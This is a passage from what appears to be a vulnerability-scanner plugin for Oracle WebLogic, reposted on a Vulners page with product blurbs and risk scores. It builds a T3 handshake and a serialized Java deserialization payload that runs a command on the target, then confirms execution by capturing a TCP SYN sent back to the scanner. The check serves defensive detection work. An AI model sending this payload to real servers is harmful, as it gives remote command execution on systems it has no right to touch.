    if( ! soc = open_sock_tcp( port ) )
      continue;

    req = 't3 12.2.1\n' +
          'AS:255\n' +
          'HL:19\n' +
          'MS:10000000\n' +
          'PU:t3://us-l-breens:7001\n\n';

    send( socket:soc, data:req );
    buf = recv( socket:soc, length:128 );

    if( ! buf || "HELO" >!< buf ) {
      close( soc );
      continue;
    }

    len = raw_string( strlen( cmd ) );

    final_payload = payload_before + len + cmd + raw_string(
      0x74, 0x00, 0x04, 0x65, 0x78, 0x65, 0x63, 0x75, 0x71, 0x00, 0x7e, 0x00, 0x1e, 0x00, 0x00, 0x00,
      0x01, 0x71, 0x00, 0x7e, 0x00, 0x23, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x11, 0x73, 0x72, 0x00, 0x11,
      0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x65,
      0x72, 0x12, 0xe2, 0xa0, 0xa4, 0xf7, 0x81, 0x87, 0x38, 0x02, 0x00, 0x01, 0x49, 0x00, 0x05, 0x76,
      0x61, 0x6c, 0x75, 0x65, 0x78, 0x72, 0x00, 0x10, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e,
      0x67, 0x2e, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x86, 0xac, 0x95, 0x1d, 0x0b, 0x94, 0xe0, 0x8b,
      0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x01, 0x73, 0x72, 0x00, 0x11, 0x6a, 0x61, 0x76,
      0x61, 0x2e, 0x75, 0x74, 0x69, 0x6c, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x4d, 0x61, 0x70, 0x05, 0x07,
      0xda, 0xc1, 0xc3, 0x16, 0x60, 0xd1, 0x03, 0x00, 0x02, 0x46, 0x00, 0x0a, 0x6c, 0x6f, 0x61, 0x64,
      0x46, 0x61, 0x63, 0x74, 0x6f, 0x72, 0x49, 0x00, 0x09, 0x74, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f,
      0x6c, 0x64, 0x78, 0x70, 0x3f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0x08, 0x00, 0x00,
      0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x78, 0x78, 0x76, 0x72, 0x00, 0x12, 0x6a, 0x61, 0x76, 0x61,
      0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x4f, 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x70, 0x71, 0x00, 0x7e, 0x00, 0x3a );

    final_payload += payload_after;

    plen = raw_string( strlen( final_payload ) );

    final_payload = raw_string( 0x00, 0x00, 0x09 ) + plen + final_payload;

    res = send_capture( socket:soc, data:final_payload, timeout:5, pcap_filter:filter );

    close( soc );

    if( ! res )
      continue;

    flags = get_tcp_element( tcp:res, element:"th_flags" );
    if( ( flags & TH_SYN ) ) {
      report = "It was possible to execute the command '" + cmd + "' on the remote host. The TCP-SYN request to port " + rnd_port + " was then successfully captured.";
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host.
exit( 0 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Dec 2024 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 27.5
CVSS 3.19.8
EPSS0.96032
SSVC
590